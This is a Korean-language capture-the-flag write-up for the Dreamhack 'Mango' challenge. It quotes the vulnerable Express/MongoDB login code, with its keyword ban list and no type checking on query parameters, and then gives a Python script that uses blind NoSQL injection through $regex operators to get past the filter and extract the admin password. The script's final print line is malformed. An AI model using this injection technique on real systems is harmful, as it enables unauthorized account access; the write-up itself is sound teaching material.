Dreamhack | Mango
Dreamhack Mango
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
해당 커리큘럼은 NoSQL Injection으로 Not Only SQL Injection이다.
NoSQL로 대표적인 MongoDB를 Injection하는 문제입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}로 기본적인 힌트를 제공한 상태입니다.
문제 풀이
처음 접속했을 때의 화면이다. /login?uid=guest&upw=guest의 힌트가 있기에 http://host3.dreamhack.games:22541/login?uid=guest&upw=guest로 접속하면 guest 문자열만을 출력한다.
upw=a로 변경하여 접속하게 되면 undefined를 출력한다.
위에서 나온 힌트 admin의 upw를 알아내는 것이 목표가 될 것이다.
아래는 제공 파일이고, 각각을 분석해보겠습니다.
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
/ 루트로 접근했을 때 위 사진처럼 파라미터에 대한 String을 출력해준 것을 알 수 있다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
filter 함수는 우리가 /login을 통해 넘긴 파라미터에 대한 값이 BAN에 포함 되어 있다면 Boolean을 return하는 함수다.
app.get('/login', function(req, res) {
if(filter(req.query)){ // <------- Type Vulnerability
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
필터링을 거치고 uid와 upw 변수에 할당하여 DB 조회시 값이 있다면 uid를 출력하는 홈페이지가 되겠습니다.
하지만, 주석 부분을 보면 쿼리에 대한 타입 검사를 진행하지 않기에 json, string, object, list 등 어떤 타입으로 전달이 가능하게 된다.
참과 거짓에 대한 결과가 나타나므로 Blind Injection을 진행하겠습니다.
현재, admin과 DH가 필터링 되어 있으므로 정규식을 이용해 우회하고, 플래그는 32자리 알파벳으로 정해져있다고 했으므로, 익스플로잇을 짜면 아래와 같게 된다.
import requests, string
from tqdm import *
HOST = 'http://host3.dreamhack.games:22541'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in tqdm(range(32)):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH}')
uid[$regex]=ad.in의 .을 통해 admin과 DH 필터링을 우회하고 기존 Blind SQLi와 동일한 방식으로 익스플로잇하면 FLAG를 얻을 수 있다.